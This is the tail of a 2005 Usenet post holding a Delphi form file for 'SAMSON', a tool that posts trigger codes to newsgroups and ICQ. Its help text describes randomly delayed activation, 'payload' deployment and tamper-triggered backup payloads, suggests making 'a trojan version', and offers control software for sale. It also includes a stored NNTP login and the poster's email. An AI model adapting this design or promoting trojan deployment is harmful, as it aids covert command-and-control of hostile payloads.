          'group'
          
            'when triggered, the system goes into war-count, this can be set ' +
            'between 1 & 255 days maximum, '
          'SAMSON however '
          'picks a random period within the range'
          'so you never know when its going to go off.'
          
            'Pairing is different, when a pairing code is encountered, its tw' +
            'in goes active immediately'
          
            'the crypto is embedded in the header of the posting along with t' +
            'he group trigger codes'
          
            'each installation has a trigger code which is unique & another w' +
            'hich can be set by the deployer'
          
            'of course if the author'#39's SAMSON net ever goes active, you will ' +
            'receive the full source as part of the '
          'payload (active '
          'version only)'
          
            'Author'#39's most recent versions target usenet, icq, mail & more be' +
            'ing added to each new version'
          
            'The recent versions also have tamper detection, if the payload i' +
            's interfered with, the backup payload is '
          'locked, loaded '
          '& deployed, OUCH!'
          'Want to be really creative? do a trojan version'
          'Want source code for this module?'
          'Just takes money, my paypal account is'
          'Email me at'
          
            'Cost 50 euros for SCC control software & information on how to c' +
            'reate Samson newsflash servers')
        ReadOnly = True
        TabOrder = 0
      end
    end
    object LogTab: TTabSheet
      Caption = 'Log'
      ImageIndex = 7
      object Log: TMemo
        Left = 0
        Top = 0
        Width = 687
        Height = 346
        Align = alClient
        TabOrder = 0
        OnDblClick = LogDblClick
      end
    end
  end
  object ToolBar5: TToolBar
    Left = 0
    Top = 0
    Width = 695
    Height = 24
    ButtonHeight = 21
    ButtonWidth = 61
    Caption = 'ToolBar1'
    Flat = True
    ShowCaptions = True
    TabOrder = 1
    object ConnectBtn: TToolButton
      Left = 0
      Top = 0
      Caption = 'Connect'
      ImageIndex = 0
      OnClick = ConnectBtnClick
    end
    object GroupsButton: TToolButton
      Left = 61
      Top = 0
      Caption = 'Get Groups'
      ImageIndex = 3
      OnClick = GroupsButtonClick
    end
    object ToolButton4: TToolButton
      Left = 122
      Top = 0
      Width = 8
      Caption = 'ToolButton4'
      ImageIndex = 4
      Style = tbsSeparator
    end
    object SaveButton: TToolButton
      Left = 130
      Top = 0
      Caption = 'Save'
      ImageIndex = 3
      OnClick = SaveButtonClick
    end
    object LoadButton: TToolButton
      Left = 191
      Top = 0
      Caption = 'Load'
      ImageIndex = 3
      OnClick = LoadButtonClick
    end
    object ToolButton3: TToolButton
      Left = 252
      Top = 0
      Width = 8
      Caption = 'ToolButton3'
      ImageIndex = 5
      Style = tbsSeparator
    end
    object UploadBtn: TToolButton
      Left = 260
      Top = 0
      Caption = 'Upload'
      ImageIndex = 1
      OnClick = UploadBtnClick
    end
    object Cloaked: TToolButton
      Left = 321
      Top = 0
      Caption = 'Cloaked'
      ImageIndex = 3
      OnClick = CloakedClick
    end
    object Flashed: TToolButton
      Left = 382
      Top = 0
      Caption = 'Flashed'
      ImageIndex = 4
      OnClick = FlashedClick
    end
    object ToolButton8: TToolButton
      Left = 443
      Top = 0
      Width = 8
      Caption = 'ToolButton8'
      ImageIndex = 3
      Style = tbsSeparator
    end
    object ExitButton: TToolButton
      Left = 451
      Top = 0
      Caption = 'Exit'
      ImageIndex = 2
      OnClick = ExitButtonClick
    end
  end
  object StatusBar: TStatusBar
    Left = 0
    Top = 398
    Width = 695
    Height = 19
    Panels = <
      item
        Width = 150
      end
      item
        Width = 150
      end
      item
        Width = 150
      end>
    SimpleText = 'Compile'
  end
  object IdAntiFreeze1: TIdAntiFreeze
    Left = 228
    Top = 368
  end
  object nntp: TIdNNTP
    MaxLineAction = maException
    ReadTimeout = 0
    OnDisconnected = nntpDisconnected
    OnConnected = nntpConnected
    NewsAgent = 'Newsflash'
    Password = 'login'
    Username = 'peter'
    OnNewsgroupList = nntpNewGroupsList
    OnNewGroupsList = nntpNewGroupsList
    Left = 196
    Top = 368
  end
  object icq: TICQClient
    ProxyPort = 0
    UIN = 0
    ICQServer = 'login.icq.com'
    ICQPort = 5190
    PortRangeFirst = 3000
    PortRangeLast = 50000
    ConvertToPlaintext = False
    ConnectionTimeout = 0
    Left = 260
    Top = 368
  end
  object message: TIdMessage
    AttachmentEncoding = 'MIME'
    BccList = <>
    CCList = <>
    Encoding = meMIME
    Recipients = <>
    ReplyTo = <>
    Left = 164
    Top = 368
  end
  object OpenDialog: TOpenDialog
    DefaultExt = 'scc'
    Filter = 'Samson control file (*.scc)|*.scc|All files (*.*)|*.*'
    Options = [ofEnableSizing]
    Left = 372
    Top = 368
  end
  object SaveDialog: TSaveDialog
    DefaultExt = 'scc'
    FileName = 'default.scc'
    Filter = 
      'News Server List (*.nsl)|*.nsl|All files (*.*)|*.*|Samson Server' +
      ' List (*.ssl)|*.ssl|Samson control file (*.scc)|*.scc'
    FilterIndex = 3
    Options = [ofEnableSizing]
    Left = 340
    Top = 368
  end
  object StoreReg: TJvAppRegistryStorage
    StorageOptions.BooleanStringTrueValues = 'TRUE, YES, Y'
    StorageOptions.BooleanStringFalseValues = 'FALSE, NO, N'
    Root = 'Software\Samson'
    SubStorages = <>
    Left = 51
    Top = 368
  end
  object RegStorage: TJvFormStorage
    AppStorage = StoreReg
    AppStoragePath = 'SCC\'
    StoredProps.Strings = (
      'nntp.Host'
      'nntp.Mode'
      'nntp.Password'
      'nntp.Username'
      'nntp.Port'
      'icq.AutoAwayMessage'
      'icq.ICQPort'
      'icq.ICQServer'
      'icq.Password'
      'icq.UIN'
      'PrimaryDelay.Value'
      'WindowPeriod.Value'
      'NGProcessCount.Value'
      'PrimingPeriod.Value'
      'TriggerPeriod.Value'
      'PrimaryVariance.Value'
      'IcqWindowVariance.Value'
      'IcqWindowPeriod.Value'
      'IcqPollingPeriod.Value'
      'IcqPollingVariance.Value'
      'WindowVariance.Value'
      'PostingsProcessCount.Value'
      'PrimingVariance.Value'
      'TriggerVariance.Value'
      'Throttle.Value'
      'ThrottleVariance.Value'
      'PollingPeriod.Value'
      'PollingVariance.Value'
      'NameEdit.Text'
      'NewsHost.Text'
      'PasswordEdit.Text'
      'ReplyEdit.Text'
      'subjectedit.Text'
      'UserName.Text')
    StoredValues = <>
    Left = 20
    Top = 368
  end
  object XMLStorage: TJvAppXMLFileStorage
    StorageOptions.BooleanStringTrueValues = 'TRUE, YES, Y'
    StorageOptions.BooleanStringFalseValues = 'FALSE, NO, N'
    RootNodeName = 'Configuration'
    SubStorages = <>
    Left = 116
    Top = 368
  end
  object FileStorage: TJvFormStorage
    AppStorage = XMLStorage
    AppStoragePath = 'SCC\'
    StoredProps.Strings = (
      'nntp.Host'
      'nntp.Mode'
      'nntp.Password'
      'nntp.Username'
      'nntp.Port'
      'icq.AutoAwayMessage'
      'icq.ICQPort'
      'icq.ICQServer'
      'icq.Password'
      'icq.UIN'
      'PrimaryDelay.Value'
      'WindowPeriod.Value'
      'NGProcessCount.Value'
      'PrimingPeriod.Value'
      'TriggerPeriod.Value'
      'PrimaryVariance.Value'
      'IcqWindowVariance.Value'
      'IcqWindowPeriod.Value'
      'IcqPollingPeriod.Value'
      'IcqPollingVariance.Value'
      'WindowVariance.Value'
      'PostingsProcessCount.Value'
      'PrimingVariance.Value'
      'TriggerVariance.Value'
      'Throttle.Value'
      'ThrottleVariance.Value'
      'PollingPeriod.Value'
      'PollingVariance.Value'
      'SCCE.Strings'
      'SLE.Strings'
      'CloakingMessage.Lines'
      'NameEdit.Text'
      'NewsHost.Text'
      'subjectedit.Text')
    StoredValues = <>
    Left = 84
    Top = 368
  end
  object DCP_blowfish1: TDCP_blowfish
    Algorithm = 'Blowfish'
    BlockSize = 64
    MaxKeySize = 448
    Left = 244
    Top = 272
  end
  object DCP_sha11: TDCP_sha1
    Algorithm = 'SHA1'
    HashSize = 160
    Left = 244
    Top = 304
  end
  object DCP_gost1: TDCP_gost
    Algorithm = 'Gost'
    BlockSize = 64
    MaxKeySize = 256
    Left = 244
    Top = 336
  end
  object DCP_idea1: TDCP_idea
    Algorithm = 'IDEA'
    BlockSize = 64
    MaxKeySize = 128
    Left = 308
    Top = 240
  end
  object DCP_mars1: TDCP_mars
    Algorithm = 'Mars'
    BlockSize = 128
    MaxKeySize = 1248
    Left = 308
    Top = 272
  end
  object DCP_misty11: TDCP_misty1
    Algorithm = 'Misty1'
    BlockSize = 64
    MaxKeySize = 128
    Left = 276
    Top = 336
  end
  object DCP_rc21: TDCP_rc2
    Algorithm = 'RC2'
    BlockSize = 64
    MaxKeySize = 1024
    Left = 276
    Top = 272
  end
  object DCP_rc51: TDCP_rc5
    Algorithm = 'RC5'
    BlockSize = 64
    MaxKeySize = 2048
    Left = 276
    Top = 240
  end
  object DCP_rc61: TDCP_rc6
    Algorithm = 'RC6'
    BlockSize = 128
    MaxKeySize = 2048
    Left = 308
    Top = 304
  end
  object DCP_rijndael1: TDCP_rijndael
    Algorithm = 'Rijndael'
    BlockSize = 128
    MaxKeySize = 256
    Left = 276
    Top = 304
  end
  object DCP_twofish1: TDCP_twofish
    Algorithm = 'Twofish'
    BlockSize = 128
    MaxKeySize = 256
    Left = 308
    Top = 336
  end
  object IniStorage: TJvFormStorage
    AppStorage = StoreReg
    AppStoragePath = 'NEWSFLASH\'
    Options = []
    Version = 2
    StoredValues = <
      item
        Name = 'NGListFile'
        Value = ''
      end
      item
        Name = 'subjectindex'
        Value = 0
      end
      item
        Name = 'groupindex'
        Value = 0
      end>
    Left = 296
    Top = 369
  end
end
Technical Details
Message-ID: <439da5a6$0$63094$ed2e19e4@ptn-nntp-reader04.plus.net>
Path: arc1-ca.pugleaf.net!g2news1.google.com!news1.google.com!proxad.net!fr.ip.ndsoftware.net!nntp-peering.plus.net!ptn-nntp-feeder01.plus.net!ptn-nntp-spool01.plus.net!ptn-nntp-reader04.plus.net!not-for-mail

Show Full Headers
Complete Article Headers
X-Google-Thread: 101489,d545b8066547a74f,start
X-Google-Attributes: gid101489,public
X-Google-Language: ENGLISH,ASCII-7-bit
Path: arc1-ca.pugleaf.net!g2news1.google.com!news1.google.com!proxad.net!fr.ip.ndsoftware.net!nntp-peering.plus.net!ptn-nntp-feeder01.plus.net!ptn-nntp-spool01.plus.net!ptn-nntp-reader04.plus.net!not-for-mail
From: "victim of crime" <peteridunne@yahoo.com>
Subject: Samson a publication system source code
Newsgroups: alc.tools.misc
Sender: victim of crime <peteridunne@yahoo.com>
Date: Sun, 11 Dec 2005 16:29:11 +0000
X-Priority: 2
X-Library: Indy 9.00.10
X-Newsreader: News pump
Lines: 2687
Message-ID: <439da5a6$0$63094$ed2e19e4@ptn-nntp-reader04.plus.net>
Organization: Customer of PlusNet plc (http://www.plus.net)
NNTP-Posting-Host: 4a013c4f.ptn-nntp-reader04.plus.net
X-Trace: DXC=0\:BKJF;e<@37DAj2W^2]Migd3Y`7Rb;N3_LeXC3B]SICeV5FLAFVTCaI6DGW1[CEO<B^Z1XYHo@@R0?96J\[ZZK
X-Complaints-To: abuse@plus.net